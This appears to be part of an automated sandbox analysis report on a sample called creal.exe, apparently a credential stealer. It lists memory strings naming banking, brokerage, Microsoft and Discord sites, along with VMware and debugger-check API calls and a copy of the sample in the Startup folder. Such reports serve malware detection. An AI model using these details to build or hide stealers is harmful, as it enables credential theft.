Source: creal.exe, 00000002.00000003.1521292188.00000185BB369000.00000004.00000020.00020000.00000000.sdmp, creal.exe, 00000002.00000003.1516110716.00000185BB358000.00000004.00000020.00020000.00000000.sdmp, creal.exe, 00000002.00000003.1518329891.00000185BB35B000.00000004.00000020.00020000.00000000.sdmp, creal.exe, 00000002.00000003.1550841441.00000185BB36F000.00000004.00000020.00020000.00000000.sdmp, creal.exe, 00000002.00000003.1525447368.00000185BB36B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: creal.exe, 00000002.00000002.1571908402.00000185BCAD3000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - HKVMware20,11696497155]
Source: creal.exe, 00000002.00000002.1571908402.00000185BCAD3000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: secure.bankofamerica.comVMware20,11696497155\|UE
Source: creal.exe, 00000002.00000002.1571908402.00000185BCAD3000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: tasks.office.comVMware20,11696497155o
Source: creal.exe, 00000002.00000003.1451291180.00000185BC97D000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: fYNTuOdd/rzr4daYCSlH/cjDCL3gxrmBUY6glAujRG+XsNgB8m+miTjegHFottrEaMGztw6jlxPwp8utWtvuF+P406voTx9Wltl3E/5lGVHZO7Qh5ejQhhFihjaCUi6MEor4Vj/NhscRXP5vyZCubEizzJAyXtsIMrKDuopDcRMMFbv6vBv6z++TpP7ZBgP1ako6UXVMcir1+swte3aZvpyZd+T7mVpjZqlgwRH3Ayl5z1nbXp6eqzQwKdul+SvLGL+tLe/jPr5yXn5sujJvEz0PvGAL9aK/teXD3kJlu1LvwMFdtjHsCSYee9T7mpKGgbpYqSMjRK1UvNA3tykU+ua+YqFvYe2coLaXZxaMAuWZBS9ZnjmEQk5I4Zr0dB81ix5vIHY8G2diStelUx7kLB7lXCzK3mBbobM/ToJthRZhg21FUstFUGMwyKiV52CQkQuUxSDjUM1FU0XjqgLN2GVx7+9PbfVt9x9ISU/bDXe31+2Fytxt4aa3
Source: creal.exe, 00000002.00000002.1571908402.00000185BCAD3000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696497155
Source: curl.exe, 00000008.00000003.1468606378.000001F32FE33000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 0000000B.00000003.1480700681.0000024F21CC4000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 0000000E.00000003.1495934456.0000021D976C7000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000011.00000002.1499016491.0000018B7EC38000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000014.00000002.1500645147.00000281E010B000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000018.00000002.1502681292.000002B6485A8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: creal.exe, 00000002.00000002.1571908402.00000185BCAD3000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: bankofamerica.comVMware20,11696497155x
Source: creal.exe, 00000002.00000002.1571908402.00000185BCAD3000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: ms.portal.azure.comVMware20,11696497155
Source: creal.exe, 00000002.00000002.1571908402.00000185BCAD3000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: trackpan.utiitsl.comVMware20,11696497155h
Source: creal.exe, 00000002.00000002.1571908402.00000185BCAD3000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696497155p
Source: creal.exe, 00000002.00000002.1571908402.00000185BCAD3000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU WestVMware20,11696497155n
Source: creal.exe, 00000002.00000002.1571908402.00000185BCAD3000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.co.inVMware20,11696497155d
Source: creal.exe, 00000002.00000002.1571908402.00000185BCAD3000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696497155x
Source: creal.exe, 00000002.00000002.1571908402.00000185BCAD3000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Test URL for global passwords blocklistVMware20,11696497155
Source: creal.exe, 00000002.00000002.1571908402.00000185BCAD3000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.comVMware20,11696497155
Source: creal.exe, 00000002.00000002.1571908402.00000185BCAD3000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: AMC password management pageVMware20,11696497155
Source: creal.exe, 00000002.00000002.1571908402.00000185BCAD3000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696497155
Source: creal.exe, 00000002.00000002.1571908402.00000185BCAD3000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696497155}
Source: creal.exe, 00000002.00000002.1571908402.00000185BCAD3000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696497155^
Source: creal.exe, 00000002.00000002.1571908402.00000185BCAD3000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: account.microsoft.com/profileVMware20,11696497155u
Source: creal.exe, 00000002.00000002.1571908402.00000185BCAD3000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: discord.comVMware20,11696497155f
Source: creal.exe, 00000002.00000002.1571908402.00000185BCAD3000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: netportal.hdfcbank.comVMware20,11696497155
Source: creal.exe, 00000002.00000002.1571908402.00000185BCAD3000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696497155z
Source: creal.exe, 00000002.00000002.1571908402.00000185BCAD3000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: outlook.office365.comVMware20,11696497155t
Source: creal.exe, 00000002.00000002.1571908402.00000185BCAD3000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: outlook.office.comVMware20,11696497155s
Source: creal.exe, 00000002.00000002.1571908402.00000185BCAD3000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.comVMware20,11696497155}
Source: creal.exe, 00000002.00000002.1571908402.00000185BCAD3000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.co.inVMware20,11696497155~
Source: creal.exe, 00000002.00000002.1571908402.00000185BCAD3000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: microsoft.visualstudio.comVMware20,11696497155x

Source: C:\Users\user\Desktop\creal.exe

Code function: 0_2_00007FF67A61ACD8 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

0_2_00007FF67A61ACD8

Source: C:\Users\user\Desktop\creal.exe

Code function: 0_2_00007FF67A623BF0 GetProcessHeap,

0_2_00007FF67A623BF0

Source: C:\Windows\System32\tasklist.exe

Process token adjusted: Debug

Jump to behavior

Source: C:\Users\user\Desktop\creal.exe	Code function: 0_2_00007FF67A61ACD8 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_00007FF67A61ACD8
Source: C:\Users\user\Desktop\creal.exe	Code function: 0_2_00007FF67A60C860 SetUnhandledExceptionFilter,	0_2_00007FF67A60C860
Source: C:\Users\user\Desktop\creal.exe	Code function: 0_2_00007FF67A60BDE0 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_00007FF67A60BDE0
Source: C:\Users\user\Desktop\creal.exe	Code function: 0_2_00007FF67A60C67C IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_00007FF67A60C67C
Source: C:\Users\user\Desktop\creal.exe	Code function: 2_2_00007FF8E69DABE0 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	2_2_00007FF8E69DABE0
Source: C:\Users\user\Desktop\creal.exe	Code function: 2_2_00007FF8E6EF1460 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	2_2_00007FF8E6EF1460
Source: C:\Users\user\Desktop\creal.exe	Code function: 2_2_00007FF8E6EF1A30 IsProcessorFeaturePresent,memset,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	2_2_00007FF8E6EF1A30
Source: C:\Users\user\Desktop\creal.exe	Code function: 2_2_00007FF8E6F01390 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	2_2_00007FF8E6F01390
Source: C:\Users\user\Desktop\creal.exe	Code function: 2_2_00007FF8E6F01960 IsProcessorFeaturePresent,memset,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	2_2_00007FF8E6F01960
Source: C:\Users\user\Desktop\creal.exe	Code function: 2_2_00007FF8E6F11390 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	2_2_00007FF8E6F11390
Source: C:\Users\user\Desktop\creal.exe	Code function: 2_2_00007FF8E6F11960 IsProcessorFeaturePresent,memset,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	2_2_00007FF8E6F11960
Source: C:\Users\user\Desktop\creal.exe	Code function: 2_2_00007FF8E6F21390 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	2_2_00007FF8E6F21390
Source: C:\Users\user\Desktop\creal.exe	Code function: 2_2_00007FF8E6F21960 IsProcessorFeaturePresent,memset,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	2_2_00007FF8E6F21960
Source: C:\Users\user\Desktop\creal.exe	Code function: 2_2_00007FF8E6F31390 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	2_2_00007FF8E6F31390
Source: C:\Users\user\Desktop\creal.exe	Code function: 2_2_00007FF8E6F31960 IsProcessorFeaturePresent,memset,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	2_2_00007FF8E6F31960
Source: C:\Users\user\Desktop\creal.exe	Code function: 2_2_00007FF8E6F41390 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	2_2_00007FF8E6F41390
Source: C:\Users\user\Desktop\creal.exe	Code function: 2_2_00007FF8E6F41960 IsProcessorFeaturePresent,memset,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	2_2_00007FF8E6F41960
Source: C:\Users\user\Desktop\creal.exe	Code function: 2_2_00007FF8E6F51390 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	2_2_00007FF8E6F51390
Source: C:\Users\user\Desktop\creal.exe	Code function: 2_2_00007FF8E6F51960 IsProcessorFeaturePresent,memset,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	2_2_00007FF8E6F51960
Source: C:\Users\user\Desktop\creal.exe	Code function: 2_2_00007FF8E6F61390 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	2_2_00007FF8E6F61390
Source: C:\Users\user\Desktop\creal.exe	Code function: 2_2_00007FF8E6F61960 IsProcessorFeaturePresent,memset,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	2_2_00007FF8E6F61960
Source: C:\Users\user\Desktop\creal.exe	Code function: 2_2_00007FF8E6F71390 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	2_2_00007FF8E6F71390
Source: C:\Users\user\Desktop\creal.exe	Code function: 2_2_00007FF8E6F71960 IsProcessorFeaturePresent,memset,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	2_2_00007FF8E6F71960
Source: C:\Users\user\Desktop\creal.exe	Code function: 2_2_00007FF8E6F81390 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	2_2_00007FF8E6F81390
Source: C:\Users\user\Desktop\creal.exe	Code function: 2_2_00007FF8E6F81960 IsProcessorFeaturePresent,memset,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	2_2_00007FF8E6F81960
Source: C:\Users\user\Desktop\creal.exe	Code function: 2_2_00007FF8E6F91390 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	2_2_00007FF8E6F91390
Source: C:\Users\user\Desktop\creal.exe	Code function: 2_2_00007FF8E6F91960 IsProcessorFeaturePresent,memset,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	2_2_00007FF8E6F91960
Source: C:\Users\user\Desktop\creal.exe	Code function: 2_2_00007FF8E6FA1390 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	2_2_00007FF8E6FA1390
Source: C:\Users\user\Desktop\creal.exe	Code function: 2_2_00007FF8E6FA1960 IsProcessorFeaturePresent,memset,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	2_2_00007FF8E6FA1960
Source: C:\Users\user\Desktop\creal.exe	Code function: 2_2_00007FF8E6FB1390 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	2_2_00007FF8E6FB1390
Source: C:\Users\user\Desktop\creal.exe	Code function: 2_2_00007FF8E6FB1960 IsProcessorFeaturePresent,memset,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	2_2_00007FF8E6FB1960
Source: C:\Users\user\Desktop\creal.exe	Code function: 2_2_00007FF8E6FC1390 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	2_2_00007FF8E6FC1390
Source: C:\Users\user\Desktop\creal.exe	Code function: 2_2_00007FF8E6FC1960 IsProcessorFeaturePresent,memset,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	2_2_00007FF8E6FC1960
Source: C:\Users\user\Desktop\creal.exe	Code function: 2_2_00007FF8E6FD1390 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	2_2_00007FF8E6FD1390
Source: C:\Users\user\Desktop\creal.exe	Code function: 2_2_00007FF8E6FD1960 IsProcessorFeaturePresent,memset,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	2_2_00007FF8E6FD1960
Source: C:\Users\user\Desktop\creal.exe	Code function: 2_2_00007FF8E6FE1390 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	2_2_00007FF8E6FE1390
Source: C:\Users\user\Desktop\creal.exe	Code function: 2_2_00007FF8E6FE1960 IsProcessorFeaturePresent,memset,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	2_2_00007FF8E6FE1960
Source: C:\Users\user\Desktop\creal.exe	Code function: 2_2_00007FF8E6FF1390 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	2_2_00007FF8E6FF1390
Source: C:\Users\user\Desktop\creal.exe	Code function: 2_2_00007FF8E6FF1960 IsProcessorFeaturePresent,memset,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	2_2_00007FF8E6FF1960
Source: C:\Users\user\Desktop\creal.exe	Code function: 2_2_00007FF8E700BEA0 IsProcessorFeaturePresent,memset,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	2_2_00007FF8E700BEA0
Source: C:\Users\user\Desktop\creal.exe	Code function: 2_2_00007FF8E700B8D0 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	2_2_00007FF8E700B8D0
Source: C:\Users\user\Desktop\creal.exe	Code function: 2_2_00007FF8E7023068 IsProcessorFeaturePresent,memset,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	2_2_00007FF8E7023068
Source: C:\Users\user\Desktop\creal.exe	Code function: 2_2_00007FF8E7022AA0 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	2_2_00007FF8E7022AA0
Source: C:\Users\user\Desktop\creal.exe	Code function: 2_2_00007FF8E71542E8 IsProcessorFeaturePresent,memset,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	2_2_00007FF8E71542E8
Source: C:\Users\user\Desktop\creal.exe	Code function: 2_2_00007FF8E7153D20 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	2_2_00007FF8E7153D20
Source: C:\Users\user\Desktop\creal.exe	Code function: 2_2_00007FF8E7174660 IsProcessorFeaturePresent,memset,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	2_2_00007FF8E7174660
Source: C:\Users\user\Desktop\creal.exe	Code function: 2_2_00007FF8E7174090 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	2_2_00007FF8E7174090
Source: C:\Users\user\Desktop\creal.exe	Code function: 2_2_00007FF8E71A0038 IsProcessorFeaturePresent,memset,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	2_2_00007FF8E71A0038
Source: C:\Users\user\Desktop\creal.exe	Code function: 2_2_00007FF8E719FA70 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	2_2_00007FF8E719FA70
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Code function: 26_2_00007FF7C3CFACD8 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	26_2_00007FF7C3CFACD8
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Code function: 26_2_00007FF7C3CEC860 SetUnhandledExceptionFilter,	26_2_00007FF7C3CEC860
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Code function: 26_2_00007FF7C3CEC67C IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	26_2_00007FF7C3CEC67C
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Code function: 26_2_00007FF7C3CEBDE0 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	26_2_00007FF7C3CEBDE0
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Code function: 28_2_00007FF8E5A9ABE0 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	28_2_00007FF8E5A9ABE0
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Code function: 28_2_00007FF8E5AE3068 IsProcessorFeaturePresent,memset,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	28_2_00007FF8E5AE3068
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Code function: 28_2_00007FF8E5AE2AA0 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	28_2_00007FF8E5AE2AA0
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Code function: 28_2_00007FF8E8031A30 IsProcessorFeaturePresent,memset,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	28_2_00007FF8E8031A30
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Code function: 28_2_00007FF8E8031460 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	28_2_00007FF8E8031460
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Code function: 28_2_00007FF8F3F31390 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	28_2_00007FF8F3F31390
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Code function: 28_2_00007FF8F3F31960 IsProcessorFeaturePresent,memset,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	28_2_00007FF8F3F31960
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Code function: 28_2_00007FF8F6FA1390 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	28_2_00007FF8F6FA1390
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Code function: 28_2_00007FF8F6FA1960 IsProcessorFeaturePresent,memset,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	28_2_00007FF8F6FA1960
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Code function: 28_2_00007FF8F7A01390 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	28_2_00007FF8F7A01390
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Code function: 28_2_00007FF8F7A01960 IsProcessorFeaturePresent,memset,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	28_2_00007FF8F7A01960
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Code function: 28_2_00007FF8F7A91390 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	28_2_00007FF8F7A91390
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Code function: 28_2_00007FF8F7A91960 IsProcessorFeaturePresent,memset,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	28_2_00007FF8F7A91960
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Code function: 28_2_00007FF8F7AA1390 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	28_2_00007FF8F7AA1390
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Code function: 28_2_00007FF8F7AA1960 IsProcessorFeaturePresent,memset,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	28_2_00007FF8F7AA1960
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Code function: 28_2_00007FF8F7EC1960 IsProcessorFeaturePresent,memset,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	28_2_00007FF8F7EC1960
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Code function: 28_2_00007FF8F7EC1390 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	28_2_00007FF8F7EC1390
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Code function: 28_2_00007FF8F8301390 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	28_2_00007FF8F8301390
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Code function: 28_2_00007FF8F8301960 IsProcessorFeaturePresent,memset,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	28_2_00007FF8F8301960
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Code function: 28_2_00007FF8F8361960 IsProcessorFeaturePresent,memset,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	28_2_00007FF8F8361960
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Code function: 28_2_00007FF8F8361390 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	28_2_00007FF8F8361390
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Code function: 28_2_00007FF8F8371960 IsProcessorFeaturePresent,memset,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	28_2_00007FF8F8371960
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Code function: 28_2_00007FF8F8371390 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	28_2_00007FF8F8371390
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Code function: 28_2_00007FF8F8381960 IsProcessorFeaturePresent,memset,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	28_2_00007FF8F8381960
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Code function: 28_2_00007FF8F8381390 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	28_2_00007FF8F8381390
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Code function: 28_2_00007FF8F8391960 IsProcessorFeaturePresent,memset,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	28_2_00007FF8F8391960
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Code function: 28_2_00007FF8F8391390 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	28_2_00007FF8F8391390
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Code function: 28_2_00007FF8F83AB8D0 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	28_2_00007FF8F83AB8D0
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\creal.exe	Code function: 28_2_00007FF8F83ABEA0 IsProcessorFeaturePresent,memset,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	28_2_00007FF8F83ABEA0
